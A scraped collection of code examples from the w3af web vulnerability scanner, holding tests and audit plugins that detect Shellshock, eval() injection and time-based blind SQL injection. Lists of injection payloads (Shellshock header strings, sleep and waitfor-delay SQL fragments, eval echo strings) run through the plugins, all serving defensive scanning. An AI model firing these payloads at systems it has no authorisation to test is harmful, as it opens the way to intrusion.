Beispiel #1
0
    def test_delay_controlled_random(self):
        for expected_result, delays in self.TEST_SUITE:
            print delays
            mock_uri_opener = Mock()
            side_effect = generate_delays(delays, rand_range=(0, 2))
            mock_uri_opener.send_mutant = MagicMock(side_effect=side_effect)
            delay_obj = ExactDelay('sleep(%s)')

            url = URL('http://moth/?id=1')
            req = FuzzableRequest(url)
            mutant = QSMutant(req)
            mutant.set_dc(url.querystring)
            mutant.set_var('id', 0)

            ed = ExactDelayController(mutant, delay_obj, mock_uri_opener)
            controlled, responses = ed.delay_is_controlled()

            # This is where we change from test_delay_controlled, the basic
            # idea is that we'll allow false negatives but no false positives
            if expected_result == True:
                expected_result = [True, False]
            else:
                expected_result = [
                    False,
                ]

            self.assertIn(controlled, expected_result, delays)
Beispiel #2
0
    def test_delay_controlled(self):

        for expected_result, delays in self.TEST_SUITE:
            mock_uri_opener = Mock()
            side_effect = generate_delays(delays)
            mock_uri_opener.send_mutant = MagicMock(side_effect=side_effect)
            delay_obj = ExactDelay('sleep(%s)')

            url = URL('http://moth/?id=1')
            req = FuzzableRequest(url)
            mutant = QSMutant(req)
            mutant.set_dc(url.querystring)
            mutant.set_token(('id', 0))

            ed = ExactDelayController(mutant, delay_obj, mock_uri_opener)
            controlled, responses = ed.delay_is_controlled()
            self.assertEqual(expected_result, controlled, delays)
Beispiel #3
0
class shell_shock(AuditPlugin):
    """
    Find shell shock vulnerabilities.
    :author: Andres Riancho ([email protected])
    """
    DELAY_TESTS = [PingDelay('() { test; }; ping -c %s 127.0.0.1'),
                   ExactDelay('() { test; }; sleep %s')]

    def __init__(self):
        super(shell_shock, self).__init__()
        self.already_tested_urls = ScalableBloomFilter()

    def audit(self, freq, orig_response):
        """
        Tests an URL for shell shock vulnerabilities.

        :param freq: A FuzzableRequest
        """
        url = freq.get_url()

        # Here the script is vulnerable, not a specific parameter, so we
        # run unique tests per URL
        if url not in self.already_tested_urls:
            self.already_tested_urls.add(url)

            # We are implementing these methods for detecting shell-shock vulns
            # if you know about other methods, or have improvements on these
            # please let us know. Pull-requests are also welcome.
            for detection_method in [self._with_header_echo_injection,
                                     # self._with_body_echo_injection,
                                     self._with_time_delay]:
                if detection_method(freq):
                    break

    def _with_header_echo_injection(self, freq):
        """
        We're sending a payload that will trigger the injection of various
        headers in the HTTP response body.

        :param freq: A FuzzableRequest
        :return: True if a vulnerability was found
        """
        injected_header = 'shellshock'
        injected_value = 'check'
        payload = '() { :;}; echo "%s: %s"' % (injected_header, injected_value)

        mutant = self.create_mutant(freq, TEST_HEADER)
        mutant.set_token_value(payload)

        response = self._uri_opener.send_mutant(mutant)
        header_value, header_name = response.get_headers().iget(injected_header)

        if header_value is not None and injected_value in header_value.lower():
            desc = u'Shell shock was found at: %s' % mutant.found_at()

            v = Vuln.from_mutant(u'Shell shock vulnerability', desc,
                                 severity.HIGH, [response.id],
                                 self.get_name(), mutant)

            self.kb_append_uniq(self, 'shell_shock', v)
            return True

    def _with_body_echo_injection(self, freq):
        """
        We're sending a payload that will trigger the injection of new lines
        that will make the response transition from "headers" to "body".

        :param freq: A FuzzableRequest
        :return: True if a vulnerability was found
        """
        raise NotImplementedError

    def create_mutant(self, freq, header_name):
        headers = freq.get_headers()
        headers[header_name] = ''
        freq.set_headers(headers)

        fuzzer_config = {'fuzzable_headers': [TEST_HEADER]}

        mutant = HeadersMutant.create_mutants(freq, [''], [TEST_HEADER],
                                              False, fuzzer_config)[0]

        return mutant

    def _with_time_delay(self, freq):
        """
        Tests an URLs for shell shock vulnerabilities using time delays.

        :param freq: A FuzzableRequest
        :return: True if a vulnerability was found
        """
        mutant = self.create_mutant(freq, TEST_HEADER)

        for delay_obj in self.DELAY_TESTS:
            ed = ExactDelayController(mutant, delay_obj, self._uri_opener)
            success, responses = ed.delay_is_controlled()

            if success:
                mutant.set_token_value(delay_obj.get_string_for_delay(3))
                desc = u'Shell shock was found at: %s' % mutant.found_at()

                v = Vuln.from_mutant(u'Shell shock vulnerability', desc,
                                     severity.HIGH, [r.id for r in responses],
                                     self.get_name(), mutant)

                self.kb_append_uniq(self, 'shell_shock', v)
                return True

    def get_long_desc(self):
        """
        :return: A DETAILED description of the plugin functions and features.
        """
        return """
Beispiel #4
0
 def __init__(self, delay_fmt):
     Command.__init__(self, delay_fmt, 'unix', '')
     ExactDelay.__init__(self, delay_fmt)
Beispiel #5
0
 def __init__(self, delay_fmt, os, sep):
     Command.__init__(self, delay_fmt, os, sep)
     ExactDelay.__init__(self, delay_fmt)
     self._delay_delta = 1
Beispiel #6
0
class eval(AuditPlugin):
    """
    Find insecure eval() usage.

    :author: Viktor Gazdag ( [email protected] )
    :author: Andres Riancho ([email protected])
    """
    PRINT_REPEATS = 5

    PRINT_STRINGS = (
        # PHP http://php.net/eval
        "echo str_repeat('%%s',%s);" % PRINT_REPEATS,
        # Perl http://perldoc.perl.org/functions/eval.html
        "print '%%s'x%s" % PRINT_REPEATS,
        # Python
        # http://docs.python.org/reference/simple_stmts.html#the-exec-statement
        "print('%%s'*%s)" % PRINT_REPEATS,
        # ASP
        "Response.Write(new String(\"%%s\",%s))" % PRINT_REPEATS,
    )

    WAIT_OBJ = (
        # PHP http://php.net/sleep
        # Perl http://perldoc.perl.org/functions/sleep.html
        ExactDelay("sleep(%s);"),
        # Python http://docs.python.org/library/time.html#time.sleep
        ExactDelay("__import__('time').sleep(%s)"),
        # It seems that ASP doesn't support sleep! A language without sleep...
        # is not a language!
        # http://classicasp.aspfaq.com/general/how-do-i-make-my-asp-page-pause-or-sleep.html
        # JSP takes the amount in miliseconds
        # http://java.sun.com/j2se/1.4.2/docs/api/java/lang/Thread.html#sleep(long)
        ExactDelay("Thread.sleep(%s);", mult=1000),
        # ASP.NET also uses miliseconds
        # http://msdn.microsoft.com/en-us/library/d00bd51t.aspx
        # Note: The Sleep in ASP.NET is uppercase
        ExactDelay("Thread.Sleep(%s);", mult=1000),
        # NodeJS eval
        ExactDelay("var cd;var d=new Date();do{cd=new Date();}while(cd-d<%s)",
                   mult=1000))

    def __init__(self):
        AuditPlugin.__init__(self)

        # Create some random strings, which the plugin will use.
        # for the fuzz_with_echo
        self._rnd = rand_alpha(5)
        self._rnd = self._rnd.lower()
        self._expected_result = self._rnd * self.PRINT_REPEATS

        # User configured parameters
        self._use_time_delay = True
        self._use_echo = True

    def audit(self, freq, orig_response):
        """
        Tests an URL for eval() user input injection vulnerabilities.
        :param freq: A FuzzableRequest
        """
        if self._use_echo:
            self._fuzz_with_echo(freq, orig_response)

        if self._use_time_delay:
            self._fuzz_with_time_delay(freq)

    def _fuzz_with_echo(self, freq, orig_response):
        """
        Tests an URL for eval() usage vulnerabilities using echo strings.
        :param freq: A FuzzableRequest
        """
        print_strings = [pstr % (self._rnd, ) for pstr in self.PRINT_STRINGS]

        mutants = create_mutants(freq, print_strings, orig_resp=orig_response)

        self._send_mutants_in_threads(self._uri_opener.send_mutant, mutants,
                                      self._analyze_echo)

    def _fuzz_with_time_delay(self, freq):
        """
        Tests an URL for eval() usage vulnerabilities using time delays.
        :param freq: A FuzzableRequest
        """
        fake_mutants = create_mutants(freq, [
            '',
        ])
        self.worker_pool.map(self._test_delay, fake_mutants)

    def _test_delay(self, mutant):
        """
        Try to delay the response and save a vulnerability if successful
        """
        if self._has_bug(mutant):
            return

        for delay_obj in self.WAIT_OBJ:

            ed_inst = ExactDelayController(mutant, delay_obj, self._uri_opener)
            success, responses = ed_inst.delay_is_controlled()

            if success:
                desc = 'eval() input injection was found at: %s'
                desc = desc % mutant.found_at()

                response_ids = [r.id for r in responses]

                v = Vuln.from_mutant('eval() input injection vulnerability',
                                     desc, severity.HIGH, response_ids,
                                     self.get_name(), mutant)

                self.kb_append_uniq(self, 'eval', v)
                break

    def _analyze_echo(self, mutant, response):
        """
        Analyze results of the _send_mutant method that was sent in the
        _fuzz_with_echo method.
        """
        eval_error_list = self._find_eval_result(response)
        for eval_error in eval_error_list:
            if not re.search(eval_error, mutant.get_original_response_body(),
                             re.I):

                desc = 'eval() input injection was found at: %s'
                desc = desc % mutant.found_at()

                v = Vuln.from_mutant('eval() input injection vulnerability',
                                     desc, severity.HIGH, response.id,
                                     self.get_name(), mutant)

                self.kb_append_uniq(self, 'eval', v)

    def _find_eval_result(self, response):
        """
        This method searches for the randomized self._rnd string in HTMLs.

        :param response: The HTTP response object
        :return: A list of error found on the page
        """
        res = []

        if self._expected_result in response.body.lower():
            msg = 'Verified eval() input injection, found the concatenated'\
                  ' random string: "%s" in the response body. The'\
                  ' vulnerability was found on response with id %s.'
            om.out.debug(msg % (self._expected_result, response.id))
            res.append(self._expected_result)

        return res

    def get_options(self):
        """
        :return: A list of option objects for this plugin.
        """
        opt_list = OptionList()

        desc = 'Use time delay (sleep() technique)'
        _help = 'If set to True, w3af will checks insecure eval() usage by' \
                ' analyzing of time delay result of script execution.'
        opt = opt_factory('use_time_delay',
                          self._use_time_delay,
                          desc,
                          'boolean',
                          help=_help)
        opt_list.add(opt)

        desc = 'Use echo technique'
        _help = 'If set to True, w3af will checks insecure eval() usage by' \
                ' grepping result of script execution for test strings.'
        opt = opt_factory('use_echo',
                          self._use_echo,
                          desc,
                          'boolean',
                          help=_help)
        opt_list.add(opt)

        return opt_list

    def set_options(self, options_list):
        """
        This method sets all the options that are configured using the user
        interface generated by the framework using the result of get_options().

        :param options_list: A dictionary with the options for the plugin.
        :return: No value is returned.
        """
        self._use_time_delay = options_list['use_time_delay'].get_value()
        self._use_echo = options_list['use_echo'].get_value()

    def get_long_desc(self):
        """
        :return: A DETAILED description of the plugin functions and features.
        """
        return """
Beispiel #7
0
class eval(AuditPlugin):
    """
    Find insecure eval() usage.

    :author: Viktor Gazdag ( [email protected] )
    :author: Andres Riancho ([email protected])
    """
    PRINT_REPEATS = 5

    PRINT_STRINGS = (
        # PHP http://php.net/eval
        "echo str_repeat('%%s',%s);" % PRINT_REPEATS,
        # Perl http://perldoc.perl.org/functions/eval.html
        "print '%%s'x%s" % PRINT_REPEATS,
        # Python
        # http://docs.python.org/reference/simple_stmts.html#the-exec-statement
        "print('%%s'*%s)" % PRINT_REPEATS,
        # ASP
        "Response.Write(new String(\"%%s\",%s))" % PRINT_REPEATS,
    )

    WAIT_OBJ = (
        # PHP http://php.net/sleep
        # Perl http://perldoc.perl.org/functions/sleep.html
        ExactDelay("sleep(%s);"),
        # Python http://docs.python.org/library/time.html#time.sleep
        ExactDelay("__import__('time').sleep(%s)"),
        # It seems that ASP doesn't support sleep! A language without sleep...
        # is not a language!
        # http://classicasp.aspfaq.com/general/how-do-i-make-my-asp-page-pause-or-sleep.html
        # JSP takes the amount in miliseconds
        # http://java.sun.com/j2se/1.4.2/docs/api/java/lang/Thread.html#sleep(long)
        ExactDelay("Thread.sleep(%s);", mult=1000),
        # ASP.NET also uses miliseconds
        # http://msdn.microsoft.com/en-us/library/d00bd51t.aspx
        # Note: The Sleep in ASP.NET is uppercase
        ExactDelay("Thread.Sleep(%s);", mult=1000),
        # NodeJS eval
        ExactDelay("var cd;var d=new Date();do{cd=new Date();}while(cd-d<%s)", mult=1000)
    )

    def __init__(self):
        AuditPlugin.__init__(self)

        # Create some random strings, which the plugin will use.
        # for the fuzz_with_echo
        self._rnd = rand_alpha(5)
        self._rnd = self._rnd.lower()
        self._expected_result = self._rnd * self.PRINT_REPEATS

        # User configured parameters
        self._use_time_delay = True
        self._use_echo = True

    def audit(self, freq, orig_response, debugging_id):
        """
        Tests an URL for eval() user input injection vulnerabilities.

        :param freq: A FuzzableRequest
        :param orig_response: The HTTP response associated with the fuzzable request
        :param debugging_id: A unique identifier for this call to audit()
        """
        if self._use_echo:
            self._fuzz_with_echo(freq, orig_response, debugging_id)

        if self._use_time_delay:
            self._fuzz_with_time_delay(freq, debugging_id)

    def _fuzz_with_echo(self, freq, orig_response, debugging_id):
        """
        Tests an URL for eval() usage vulnerabilities using echo strings.
        :param freq: A FuzzableRequest
        """
        print_strings = [pstr % (self._rnd,) for pstr in self.PRINT_STRINGS]

        mutants = create_mutants(freq, print_strings, orig_resp=orig_response)

        self._send_mutants_in_threads(self._uri_opener.send_mutant,
                                      mutants,
                                      self._analyze_echo,
                                      debugging_id=debugging_id)

    def _fuzz_with_time_delay(self, freq, debugging_id):
        """
        Tests an URL for eval() usage vulnerabilities using time delays.
        :param freq: A FuzzableRequest
        """
        self._send_mutants_in_threads(func=self._find_delay_in_mutant,
                                      iterable=self._generate_delay_tests(freq, debugging_id),
                                      callback=lambda x, y: None)

    def _generate_delay_tests(self, freq, debugging_id):
        for mutant in create_mutants(freq, ['', ]):
            #
            # Don't try to find an eval() using a time delay method if we already found
            # it via echo
            #
            if self._has_bug(mutant):
                return

            for delay_obj in self.WAIT_OBJ:
                yield mutant, delay_obj, debugging_id

    def _find_delay_in_mutant(self, (mutant, delay_obj, debugging_id)):
        """
        Try to delay the response and save a vulnerability if successful

        :param mutant: The mutant to modify and test
        :param delay_obj: The delay to use
        :param debugging_id: The debugging ID for logging
        """
        if self._has_bug(mutant):
            return

        ed_inst = ExactDelayController(mutant, delay_obj, self._uri_opener)
        ed_inst.set_debugging_id(debugging_id)
        success, responses = ed_inst.delay_is_controlled()

        if success:
            desc = 'eval() input injection was found at: %s'
            desc %= mutant.found_at()

            response_ids = [r.id for r in responses]

            v = Vuln.from_mutant('eval() input injection vulnerability',
                                 desc, severity.HIGH, response_ids,
                                 self.get_name(), mutant)

            self.kb_append_uniq(self, 'eval', v)
Beispiel #8
0
 def __init__(self, delay_fmt):
     Command.__init__(self, delay_fmt, 'unix', '')
     ExactDelay.__init__(self, delay_fmt)
Beispiel #9
0
 def __init__(self, delay_fmt, os, sep):
     Command.__init__(self, delay_fmt, os, sep)
     ExactDelay.__init__(self, delay_fmt)
     self._delay_delta = 1
    def _get_delays(self):
        """
        :return: A list of statements that are going to be used to test for
                 blind SQL injections. The statements are objects.
                 
                 IMPORTANT: Note that I need this function that generates
                 unique instances of the delay objects! Adding this to a list
                 that's defined at the class level will bring threading issues
        """
        res = []

        # MSSQL
        res.append(ExactDelay("1;waitfor delay '0:0:%s'--"))
        res.append(ExactDelay("1);waitfor delay '0:0:%s'--"))
        res.append(ExactDelay("1));waitfor delay '0:0:%s'--"))
        res.append(ExactDelay("1';waitfor delay '0:0:%s'--"))
        res.append(ExactDelay("1');waitfor delay '0:0:%s'--"))
        res.append(ExactDelay("1'));waitfor delay '0:0:%s'--"))

        # MySQL 5
        #
        # Thank you guys for adding sleep(seconds) !
        #
        res.append(ExactDelay("1 or SLEEP(%s)"))
        res.append(ExactDelay("1' or SLEEP(%s) and '1'='1"))
        res.append(ExactDelay('1" or SLEEP(%s) and "1"="1'))

        # MySQL 4
        #
        # MySQL 4 doesn't have a sleep function, so I have to use BENCHMARK(1000000000,MD5(1))
        # but the benchmarking will delay the response a different amount of time in each computer
        # which sucks because I use the time delay to check!
        #
        # In my test environment 3500000 delays 10 seconds
        # This is why I selected 2500000 which is guaranteed to (at least) delay 8
        # seconds; and I only check the delay like this:
        #                 response.get_wait_time() > (original_wait_time + self._wait_time-2):
        #
        # With a small wait time of 5 seconds, this should work without problems...
        # and without hitting the ExtendedUrllib timeout !
        #
        #    TODO: Need to implement variable_delay.py (modification of ExactDelay)
        #          and use the following there:
        #
        #res.append( delay("1 or BENCHMARK(2500000,MD5(1))") )
        #res.append( delay("1' or BENCHMARK(2500000,MD5(1)) or '1'='1") )
        #res.append( delay('1" or BENCHMARK(2500000,MD5(1)) or "1"="1') )

        # PostgreSQL
        res.append(ExactDelay("1 or pg_sleep(%s)"))
        res.append(ExactDelay("1' or pg_sleep(%s) and '1'='1"))
        res.append(ExactDelay('1" or pg_sleep(%s) and "1"="1'))

        # TODO: Add Oracle support
        # TODO: Add XXXXX support

        return res
Beispiel #11
0
    def _get_delays(self):
        """
        :return: A list of statements that are going to be used to test for
                 blind SQL injections. The statements are objects.
                 
                 IMPORTANT: Note that I need this function that generates
                 unique instances of the delay objects! Adding this to a list
                 that's defined at the class level will bring threading issues
        """
        res = []

        # MSSQL
        res.append(ExactDelay("1;waitfor delay '0:0:%s'--"))
        res.append(ExactDelay("1);waitfor delay '0:0:%s'--"))
        res.append(ExactDelay("1));waitfor delay '0:0:%s'--"))
        res.append(ExactDelay("1';waitfor delay '0:0:%s'--"))
        res.append(ExactDelay("1');waitfor delay '0:0:%s'--"))
        res.append(ExactDelay("1'));waitfor delay '0:0:%s'--"))

        # MySQL 5
        #
        # Note: These payloads are better than "1 or SLEEP(%s)" since they
        #       do not call SLEEP for each row in the table
        #
        # Payloads are heavily based on the ones from SQLMap which can be found
        # at xml/payloads/05_time_blind.xml
        #
        res.append(ExactDelay("1 AND (SELECT * FROM (SELECT(SLEEP(%s)))foo)"))
        res.append(ExactDelay("1 OR (SELECT * FROM (SELECT(SLEEP(%s)))foo)"))

        # Single and double quote string concat
        res.append(ExactDelay("'+(SELECT * FROM (SELECT(SLEEP(%s)))foo)+'"))
        res.append(ExactDelay('"+(SELECT * FROM (SELECT(SLEEP(%s)))foo)+"'))

        # These are required, they don't cover the same case than the previous
        # ones (string concat).
        res.append(
            ExactDelay(
                "' AND (SELECT * FROM (SELECT(SLEEP(%s)))foo) AND '1'='1"))
        res.append(
            ExactDelay(
                '" AND (SELECT * FROM (SELECT(SLEEP(%s)))foo) AND "1"="1'))
        res.append(
            ExactDelay(
                "' OR (SELECT * FROM (SELECT(SLEEP(%s)))foo) OR '1'='2"))
        res.append(
            ExactDelay(
                '" OR (SELECT * FROM (SELECT(SLEEP(%s)))foo) OR "1"="2'))

        # MySQL 4
        #
        # MySQL 4 doesn't have a sleep function, so I have to use
        # BENCHMARK(1000000000,MD5(1)) but the benchmarking will delay the
        # response a different amount of time in each computer which sucks
        # because I use the time delay to check!
        #
        # In my test environment 3500000 delays 10 seconds
        # This is why I selected 2500000 which is guaranteed to (at least) delay
        # 8 seconds; and I only check the delay like this:
        #
        #    response.get_wait_time() > (original_wait_time + self._wait_time-2)
        #
        # With a small wait time of 5 seconds, this should work without
        # problems... and without hitting the ExtendedUrllib timeout !
        #
        # TODO: Need to implement variable_delay.py (modification of ExactDelay)
        #       and use the following there:
        #
        #res.append( delay("1 or BENCHMARK(2500000,MD5(1))") )
        #res.append( delay("1' or BENCHMARK(2500000,MD5(1)) or '1'='1") )
        #res.append( delay('1" or BENCHMARK(2500000,MD5(1)) or "1"="1') )

        # PostgreSQL
        res.append(ExactDelay("1 or pg_sleep(%s)"))
        res.append(ExactDelay("1' or pg_sleep(%s) and '1'='1"))
        res.append(ExactDelay('1" or pg_sleep(%s) and "1"="1'))

        # TODO: Add Oracle support
        # TODO: Add XXXXX support
        # TODO: https://github.com/andresriancho/w3af/issues/12385

        return res
Beispiel #12
0
 def __init__(self, delay_fmt):
     Command.__init__(self, delay_fmt, "unix", "")
     ExactDelay.__init__(self, delay_fmt)
class BlindSQLTimeDelay(object):
    """
    This class tests for blind SQL injection bugs using time delays, the logic
    is here and not as an audit plugin because this logic is also used in
    attack plugins.

    :author: Andres Riancho ([email protected])
    """
    DELAYS = [
        # MSSQL
        ExactDelay("1;waitfor delay '0:0:%s'--"),
        ExactDelay("1);waitfor delay '0:0:%s'--"),
        ExactDelay("1));waitfor delay '0:0:%s'--"),
        ExactDelay("1';waitfor delay '0:0:%s'--"),
        ExactDelay("1');waitfor delay '0:0:%s'--"),
        ExactDelay("1'));waitfor delay '0:0:%s'--"),

        # MySQL 5
        #
        # Note: These payloads are better than "1 or SLEEP(%s)" since they
        #       do not call SLEEP for each row in the table
        #
        # Payloads are heavily based on the ones from SQLMap which can be found
        # at xml/payloads/05_time_blind.xml
        #
        ExactDelay("1 AND (SELECT * FROM (SELECT(SLEEP(%s)))foo)"),
        ExactDelay("1 OR (SELECT * FROM (SELECT(SLEEP(%s)))foo)"),

        # Single and double quote string concat
        ExactDelay("'+(SELECT * FROM (SELECT(SLEEP(%s)))foo)+'"),
        ExactDelay('"+(SELECT * FROM (SELECT(SLEEP(%s)))foo)+"'),

        # These are required, they don't cover the same case than the previous
        # ones (string concat).
        ExactDelay("' AND (SELECT * FROM (SELECT(SLEEP(%s)))foo) AND '1'='1"),
        ExactDelay('" AND (SELECT * FROM (SELECT(SLEEP(%s)))foo) AND "1"="1'),
        ExactDelay("' OR (SELECT * FROM (SELECT(SLEEP(%s)))foo) OR '1'='2"),
        ExactDelay('" OR (SELECT * FROM (SELECT(SLEEP(%s)))foo) OR "1"="2'),

        # MySQL 4
        #
        # MySQL 4 doesn't have a sleep function, so I have to use
        # BENCHMARK(1000000000,MD5(1)) but the benchmarking will delay the
        # response a different amount of time in each computer which sucks
        # because I use the time delay to check!
        #
        # In my test environment 3500000 delays 10 seconds
        # This is why I selected 2500000 which is guaranteed to (at least) delay
        # 8 seconds; and I only check the delay like this:
        #
        #    response.get_wait_time() > (original_wait_time + self._wait_time-2)
        #
        # With a small wait time of 5 seconds, this should work without
        # problems... and without hitting the ExtendedUrllib timeout !
        #
        # TODO: Need to implement variable_delay.py (modification of ExactDelay)
        #       and use the following there:
        #
        # ExactDelay("1 or BENCHMARK(2500000,MD5(1))") )
        # ExactDelay("1' or BENCHMARK(2500000,MD5(1)) or '1'='1") )
        # ExactDelay('1" or BENCHMARK(2500000,MD5(1)) or "1"="1') )

        # PostgreSQL
        ExactDelay("1 or pg_sleep(%s)"),
        ExactDelay("1' or pg_sleep(%s) and '1'='1"),
        ExactDelay('1" or pg_sleep(%s) and "1"="1'),

        # TODO: Add Oracle support
        # TODO: Add XXXXX support
        # TODO: https://github.com/andresriancho/w3af/issues/12385
    ]

    def __init__(self, uri_opener):
        self._uri_opener = uri_opener
        self._debugging_id = None

    def set_debugging_id(self, debugging_id):
        self._debugging_id = debugging_id

    def get_debugging_id(self):
        return self._debugging_id

    def is_injectable(self, mutant, delay_obj):
        """
        Check if this mutant is delay injectable or not.

        @mutant: The mutant object that I have to inject to
        :return: A vulnerability object or None if nothing is found
        """
        ed = ExactDelayController(mutant, delay_obj, self._uri_opener)
        ed.set_debugging_id(self.get_debugging_id())
        success, responses = ed.delay_is_controlled()

        if success:
            # Now I can be sure that I found a vuln, we control the response
            # time with the delay
            desc = 'Blind SQL injection using time delays was found at: %s'
            desc = desc % mutant.found_at()

            response_ids = [r.id for r in responses]

            v = Vuln.from_mutant('Blind SQL injection vulnerability', desc,
                                 severity.HIGH, response_ids, 'blind_sqli',
                                 mutant)

            om.out.debug(v.get_desc())

            return v

    def get_delays(self):
        """
        :return: A list of statements that are going to be used to test for
                 blind SQL injections. The statements are objects.
                 
                 IMPORTANT: Note that I need this function that generates
                 unique instances of the delay objects! Adding this to a list
                 that's defined at the class level will bring threading issues
        """
        return self.DELAYS